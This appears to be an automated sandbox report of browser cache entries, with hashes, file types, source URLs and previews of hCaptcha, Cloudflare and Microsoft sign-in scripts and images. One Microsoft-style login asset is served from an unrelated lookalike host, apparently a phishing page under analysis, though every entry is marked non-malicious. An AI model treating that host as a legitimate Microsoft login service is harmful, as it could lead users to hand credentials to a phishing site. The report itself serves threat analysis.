Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65533), with no line terminators
Category:	downloaded
Size (bytes):	683743
Entropy (8bit):	5.618735159777173
Encrypted:	false
SSDEEP:	12288:50GcJEV/fzwqw5RpQKtmkMQjXBoypsEAijuQOglX2otGe:50fJEVnw5RpQKtmkMiXBVpsEXjJOoRYe
MD5:	D490BA95DE99D7C025179F7883FED554
SHA1:	3234A76A0783BB7E2123C4AABB1271F213D263D0
SHA-256:	D930D871DD3F401B42463AEA597114ACD2C2818403557DBA24CB01F8C2569689
SHA-512:	467B7CF1529100C5786413BC965B12D4F7E6BAA10393A10B1E956D48622CC44D0343ED7AB451A82D024749D8E7C136CE970439693707F0A443967DA2D4497D1C
Malicious:	false
Reputation:	low
URL:	https://newassets.hcaptcha.com/c/0d69d1a359119bd0e2c5ca7f11f300ac050517fd19b612f86c0c75a2b0b39cbe/hsw.js
Preview:	var hsw=function fcByLC(){"use strict";function A(A,Q,B){return Q<=A&&A<=B}function Q(A){if(void 0===A)return{};if(A===Object(A))return A;throw TypeError("Could not convert argument to dictionary")}var B=function(A){return A>=0&&A<=127},E=-1;function I(A){this.tokens=[].slice.call(A),this.tokens.reverse()}I.prototype={endOfStream:function(){return!this.tokens.length},read:function(){return this.tokens.length?this.tokens.pop():E},prepend:function(A){if(Array.isArray(A))for(var Q=A;Q.length;)this.tokens.push(Q.pop());else this.tokens.push(A)},push:function(A){if(Array.isArray(A))for(var Q=A;Q.length;)this.tokens.unshift(Q.shift());else this.tokens.unshift(A)}};var C=-1;function g(A,Q){if(A)throw TypeError("Decoder error");return Q\|\|65533}function D(A){return A=String(A).trim().toLowerCase(),Object.prototype.hasOwnProperty.call(w,A)?w[A]:null}var w={};[{encodings:[{labels:["unicode-1-1-utf-8","utf-8","utf8"],name:"UTF-8"}],heading:"The Encoding"}].forEach((function(A){A.encodings.forEach(

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	downloaded
Size (bytes):	449972
Entropy (8bit):	5.4486277762255035
Encrypted:	false
SSDEEP:	6144:c7PuGBhXlRK2d/ZkpZYRsmA2pmBe9OpRUS4cEHKE0H3NX446:c7DBZkp6umhpsUSuN
MD5:	2330EDFA5D02BA27B4818454A04935E7
SHA1:	405CDD0091FA7D25CE504F71086F488A6193BBD2
SHA-256:	6379D57694ECB499626F889744FB47D1979DDE32C9F95BCAF48E318642A8C292
SHA-512:	895E0ABAFD9444621E421EEEA49C722DFC4590765F7E76C1CFD38ADFA9430F03BBFEA23A37FDF8D8536DBA54ACDF315EF40224FB3D77836531016A341BC9B3D7
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61174)
Category:	downloaded
Size (bytes):	65533
Entropy (8bit):	5.323664404361281
Encrypted:	false
SSDEEP:	768:QpHDgKuvCW4hz7E5T3LGrcqpH5/l3b/nnGD5qWjsehDw+EsB:QpHDgBvguhw+E4
MD5:	89A94B7B4C6754EE57E54234F3318D06
SHA1:	CCCE2D7E701851E7E32CA32E5EA7DEA4BC7B97E0
SHA-256:	3198DD0847DB07164B103471A7A09A542EB376E8FCF7E410CDEAD789CCBC9AE1
SHA-512:	68860A6C0721BD91BEBAE0EDD5607FE7716FD54727A8282544D12ED6A4500E32E0344DE998C6D44376A0BA461382EA2B5D471030112D09824A33AF8098959065
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css
Preview:	/! Copyright (C) Microsoft Corporation. All rights reserved. //*!.------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise...//-----------------------------------------------------------------------------.twbs-bootstrap-sass (3.3.0).//-----------------------------------------------------------------------------..The MIT License (MIT)..Copyright (c) 2013 Twitter, Inc..Permission is hereby granted, free of charge, to any person

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	dropped
Size (bytes):	449972
Entropy (8bit):	5.4486277762255035
Encrypted:	false
SSDEEP:	6144:c7PuGBhXlRK2d/ZkpZYRsmA2pmBe9OpRUS4cEHKE0H3NX446:c7DBZkp6umhpsUSuN
MD5:	2330EDFA5D02BA27B4818454A04935E7
SHA1:	405CDD0091FA7D25CE504F71086F488A6193BBD2
SHA-256:	6379D57694ECB499626F889744FB47D1979DDE32C9F95BCAF48E318642A8C292
SHA-512:	895E0ABAFD9444621E421EEEA49C722DFC4590765F7E76C1CFD38ADFA9430F03BBFEA23A37FDF8D8536DBA54ACDF315EF40224FB3D77836531016A341BC9B3D7
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (512)
Category:	dropped
Size (bytes):	11970
Entropy (8bit):	5.416120131770621
Encrypted:	false
SSDEEP:	192:FPpd9ihiovIZwqsTh8Mi0Yl82YmYZewHe+IkA1niOpVTChGZu3PcXVstaD:ddEIyi0u82Y9ZewHPIkA1niOpVmOUPcX
MD5:	39A0EB35CD7799A181D34F4AE1DDB496
SHA1:	E933CA8534BCB6AD79D240316CE23C8B870050D0
SHA-256:	C8CEF105FCAF7CBF3F8682C861045505C24D41CF6686C20C1C03E14031A3DB69
SHA-512:	0AE990F9B57B55C3A8025BBE13C98ECD8A40C38380F9E0EFEF2BE7B418642EB040E4C537E684D2FEF7E04113450CFD4DEFF3414310773177220209991BBF1643
Malicious:	false
Reputation:	low
Preview:	/! ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. .. json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain..Provided for Informational Purposes Only..Public Domain. .NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK..----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ */."object"!=typeof JSON&&(JSON={}),

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65533), with no line terminators
Category:	dropped
Size (bytes):	683743
Entropy (8bit):	5.618735159777173
Encrypted:	false
SSDEEP:	12288:50GcJEV/fzwqw5RpQKtmkMQjXBoypsEAijuQOglX2otGe:50fJEVnw5RpQKtmkMiXBVpsEXjJOoRYe
MD5:	D490BA95DE99D7C025179F7883FED554
SHA1:	3234A76A0783BB7E2123C4AABB1271F213D263D0
SHA-256:	D930D871DD3F401B42463AEA597114ACD2C2818403557DBA24CB01F8C2569689
SHA-512:	467B7CF1529100C5786413BC965B12D4F7E6BAA10393A10B1E956D48622CC44D0343ED7AB451A82D024749D8E7C136CE970439693707F0A443967DA2D4497D1C
Malicious:	false
Reputation:	low
Preview:	var hsw=function fcByLC(){"use strict";function A(A,Q,B){return Q<=A&&A<=B}function Q(A){if(void 0===A)return{};if(A===Object(A))return A;throw TypeError("Could not convert argument to dictionary")}var B=function(A){return A>=0&&A<=127},E=-1;function I(A){this.tokens=[].slice.call(A),this.tokens.reverse()}I.prototype={endOfStream:function(){return!this.tokens.length},read:function(){return this.tokens.length?this.tokens.pop():E},prepend:function(A){if(Array.isArray(A))for(var Q=A;Q.length;)this.tokens.push(Q.pop());else this.tokens.push(A)},push:function(A){if(Array.isArray(A))for(var Q=A;Q.length;)this.tokens.unshift(Q.shift());else this.tokens.unshift(A)}};var C=-1;function g(A,Q){if(A)throw TypeError("Decoder error");return Q\|\|65533}function D(A){return A=String(A).trim().toLowerCase(),Object.prototype.hasOwnProperty.call(w,A)?w[A]:null}var w={};[{encodings:[{labels:["unicode-1-1-utf-8","utf-8","utf8"],name:"UTF-8"}],heading:"The Encoding"}].forEach((function(A){A.encodings.forEach(

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32009)
Category:	dropped
Size (bytes):	57443
Entropy (8bit):	5.372940573746363
Encrypted:	false
SSDEEP:	1536:ABqF1tlfretkF7IKbVaqDRx3D7ym+d/Px25+1wtvGixn/TPRUbx3VDg/MvA5Gl:ABrkF7IyJz7ym+d/Po5+1wtvGiJig/Ml
MD5:	D580777BB3A28B94F6F1D18EE17AEDA3
SHA1:	E78833A2DB1AA97DA3F4A1994E6AF1F0D74D7CC7
SHA-256:	81188E8A76162C79DB4A5C10AC933C9E874C5B9EAE10E47956AD9DF704E01B28
SHA-512:	E3F5FFE3E7E54A7D640DF3BC06D336C9F936635D2594159B3EA5EDAEFBA6D6774060A532E0CBE0664FDC65806BD53E9BFC19C11F7946A5E157A9EC935C564378
Malicious:	false
Reputation:	low
Preview:	!function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.StringsVariantId,s=r.AllowedIdentitiesType;n.registerSource("str",function(e,o){if(e.WF_STR_SignupLink_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account",e.CT_STR_CookieBanner_Link_AriaLabel="Learn more about Microsoft's Cookie Policy",e.WF_STR_HeaderDefault_Title=o.iLoginStringsVariantId===a.CombinedSigninSignupV2WelcomeTitle?"Welcome":"Sign in",e.STR_Footer_IcpLicense_Text=".ICP.13015306.-10",o.oAppCobranding&&o.oAppCobranding.friendlyAppName){var i=o.fBreakBrandingSigninString?"to continue to {0}":"Continue to {0}";e.WF_STR_App_Title=t.format(i,o.oAppCobranding.friendlyAppName)}switch(o.oAppCobranding&&o.oAppCobranding.signinDescription&&(e.WF_STR_Default_Desc=o.oAppCobrand

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 92, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	324
Entropy (8bit):	6.648908142761257
Encrypted:	false
SSDEEP:	6:6v/lhPErdrMxa8bvW57XoTcUe4D/b6sHK5VcMRxOltEmVpjQuDXfkTp:6v/7MFMxwR6YTVxOl2oc9
MD5:	5C97C99DEC9B217FE14ECF027D1C4C69
SHA1:	245722723B636DC48EA0C3B21638EE0197FED1E2
SHA-256:	C7F0ED74C2960EFD32391E88635201CCC6FCDFE3ACFF894B91B284016B65AB1C
SHA-512:	04AB4486B4FD756948F0A1F29A7AD78C1A32200C15767DE494CC06B018BD4008B054913820430785B2856D79F7A7556FF470C1F153EAD32184708CD6AC0DF4E5
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...\...\......1"j...`PLTE....S%........................................X.....P .?...R......4....R.hE...y...nL.G...Z?......NgF....IDATh......@....`..NV..o..h. X.^.......8G.Z..v#..K)uX...K5.GJ..............q./.[.+....Z..\|+f....R1..........=.G....O...O\k...................5'...v..7...J.u.M'F.....IEND.B`.

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32009)
Category:	downloaded
Size (bytes):	57443
Entropy (8bit):	5.372940573746363
Encrypted:	false
SSDEEP:	1536:ABqF1tlfretkF7IKbVaqDRx3D7ym+d/Px25+1wtvGixn/TPRUbx3VDg/MvA5Gl:ABrkF7IyJz7ym+d/Po5+1wtvGiJig/Ml
MD5:	D580777BB3A28B94F6F1D18EE17AEDA3
SHA1:	E78833A2DB1AA97DA3F4A1994E6AF1F0D74D7CC7
SHA-256:	81188E8A76162C79DB4A5C10AC933C9E874C5B9EAE10E47956AD9DF704E01B28
SHA-512:	E3F5FFE3E7E54A7D640DF3BC06D336C9F936635D2594159B3EA5EDAEFBA6D6774060A532E0CBE0664FDC65806BD53E9BFC19C11F7946A5E157A9EC935C564378
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js
Preview:	!function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.StringsVariantId,s=r.AllowedIdentitiesType;n.registerSource("str",function(e,o){if(e.WF_STR_SignupLink_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account",e.CT_STR_CookieBanner_Link_AriaLabel="Learn more about Microsoft's Cookie Policy",e.WF_STR_HeaderDefault_Title=o.iLoginStringsVariantId===a.CombinedSigninSignupV2WelcomeTitle?"Welcome":"Sign in",e.STR_Footer_IcpLicense_Text=".ICP.13015306.-10",o.oAppCobranding&&o.oAppCobranding.friendlyAppName){var i=o.fBreakBrandingSigninString?"to continue to {0}":"Continue to {0}";e.WF_STR_App_Title=t.format(i,o.oAppCobranding.friendlyAppName)}switch(o.oAppCobranding&&o.oAppCobranding.signinDescription&&(e.WF_STR_Default_Desc=o.oAppCobrand

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 91 x 6, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.014960565232002
Encrypted:	false
SSDEEP:	3:yionv//thPlu5tnluBxl/k4E08up:6v/lhPOkB7Tp
MD5:	B8995E69F2A17892172D6A7EECED2560
SHA1:	8750013F5762041A55664D8083BE26A5C4E15B6E
SHA-256:	600EBA9D44A0EA611739A488D0006FD812063A2A47840483919EBD1C35D762EC
SHA-512:	14776F93D04D390B445AEACF833DDAAA03A6BD661FA222EB83D8BEB0A62235DC279275F77C07768BC94CED5C21B3B11DA53ED6F3946E34077C3CBCCAC4DB3571
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...[.........#Du.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
URL:	https://vn3hg.rigotiles.com/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14782)
Category:	dropped
Size (bytes):	15755
Entropy (8bit):	5.366543080044668
Encrypted:	false
SSDEEP:	384:DveX/4OSgcn2ZU2ZfeXOh+rF3X1qDZD4zfXdv79HU:q/9i57hU
MD5:	630831903F4BA9060856520624E34CFC
SHA1:	36DC15B9CCC3FC8EF627354BF55EF44EBD10E203
SHA-256:	BC6804D058D5BD5B24FC04E479FC8973BEF5D3EFEAFAA9C19C60A009BF0FAC0B
SHA-512:	1B0759972BBAB0B1A11D54849051E6782600B74FADB1CAF1BD58D214F484E35154907CA7F396EDB1C81A7CDC6F264D138267FB58FD89E1BA3A4D67366EE7E8B0
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[17],{519:function(e,n,s

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2054)
Category:	dropped
Size (bytes):	9285
Entropy (8bit):	5.397876465825329
Encrypted:	false
SSDEEP:	192:U23y7LVYADenIY9uOqc4gIVH4VoXLIOjMuj4lMNVWmn4GHF5y8WC:U23y7hDTYvquI14i5EOvWmNl5y8h
MD5:	439A53994F1A9C860C7787ED5100CA0C
SHA1:	15BA120F64BBF6A59A457841B10DF0D6D1B4574C
SHA-256:	441BFA485FB0EB8AD2BE7001209868B57C41769CAE9512A774419F5882C093E6
SHA-512:	FB6002797BD9E28A352BCBE4643BC7E998C562218D9189AE879E1DC605BC79C3234435029B46667724E5C85A475A72C8DDDED17E3EEFD7791EC1FB21822D3804
Malicious:	false
Reputation:	low
Preview:	!function(){function e(){return(x.location.protocol\|\|"").concat("//",x.location.hostname\|\|x.location.host)}function r(e){if(e){try{var r=/function (.{1,})\(/,n=r.exec(e.constructor.toString());return n&&n.length>1?n[1]:""}catch(e){}}return""}function n(e,r,n){if(e&&r){n\|\|(e=e.toLowerCase());for(var t=0;t<r.length;t++){var o=r[t];if(o&&(n\|\|(o=o.toLowerCase()),e.indexOf(o)>=0)){return r[t]}}}return null}function t(e,r,n){return!!(0===n&&r&&r.indexOf("Script error.")>=0)}function o(e,r){.if(!e.expectedVersion\|\|e.expectedVersion!==E().jquery){if(r&&r.indexOf("jQuery.easing[jQuery.easing.def] is not a function")>=0){return!0}if(r&&r.indexOf("The bound jQuery version is not the expected version -- loaded")>=0){return!0}}return!1}function i(e){if(e){try{if("string"!==E.type(e)&&JSON&&JSON.stringify){var n=r(e),t=JSON.stringify(e);return t&&"{}"!==t\|\|(e.error&&(e=e.error,n=r(e)),(t=JSON.stringify(e))&&"{}"!==t\|\|(t=e.toString())),n+":"+t}}catch(e){}}return""+(e\|\|"")}function a(e,r){return{."sig

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (39933)
Category:	downloaded
Size (bytes):	359430
Entropy (8bit):	5.52279949291739
Encrypted:	false
SSDEEP:	6144:0w2/sD7n26XpaS7pflrgBEiMaPP6kc8CFc:u8aS/i
MD5:	F3998D2AA445ADEC862BCD94D81505AE
SHA1:	AFA2351D61B1E3265967B978D153D2E490B24E7A
SHA-256:	EC78B15FCBE52D7C78D833A55918D73E7FD754FA01F588471A05083CA7F48AA5
SHA-512:	1DF7BA1493FBC9F9C082EFABBCCCC60639655A2073D5BD840C12EAAC1497AC60A1ACBC26063B34FA237A831AB8AB2C69707F8E1828BC1C9A353A6DB154741816
Malicious:	false
Reputation:	low
URL:	https://newassets.hcaptcha.com/captcha/v1/05c78a4/static/hcaptcha.html
Preview:	<!DOCTYPE html>.<html lang="en" data-id="hcaptcha-frame-05c78a4">.<head>. <title>hCaptcha</title>. <meta charset="utf-8">. <meta http-equiv="X-UA-Compatible" content="IE=edge">. <meta http-equiv="Content-Security-Policy" content="object-src 'none'; base-uri 'self'; worker-src blob:; script-src 'self' 'unsafe-eval' 'sha256-xk0yZ4x/LOHDUIa2QBFwUJp6S6DmfOCn2Tvuo9PRuj4=';">. <style type="text/css">*{-webkit-tap-highlight-color:transparent;-webkit-font-smoothing:antialiased}body,html{margin:0;padding:0;font-family:-apple-system,system-ui,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen,Ubuntu,"Helvetica Neue",Arial,sans-serif;overflow:hidden;height:100%;width:100%;background-color:rgba(255,255,255,0);background-color:transparent}fieldset{margin:0;padding:15px 20px;border:none}button:focus,input:focus,select:focus,textarea:focus{outline:0}:focus{border:none;outline:0}textarea{border:none;overflow:auto;outline:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;resize:non

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.208966082694623
Encrypted:	false
SSDEEP:	3:HhCkuDjn:HUkuf
MD5:	89BE93E81169A3478F5B92F3C91AF580
SHA1:	C62E2852B394952919463742831CB4C66CCA1C8B
SHA-256:	77C5F518D3925E0083F47A20572ADB178B2204D07FAA396A2E3B0AFD803155B9
SHA-512:	0F837CB5A3E3C67CFE10B21FB4965A1B39E4C10CEA9137D03A9D5B743B6F36A02CDE5348752D59C0BF28F9CFA0163D99A7767CCE9255500E5C3E15EA1F74C173
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwn3EQBG-17ggRIFDVNaR8USBQ2_JFKQ?alt=proto
Preview:	ChIKBw1TWkfFGgAKBw2/JFKQGgA=

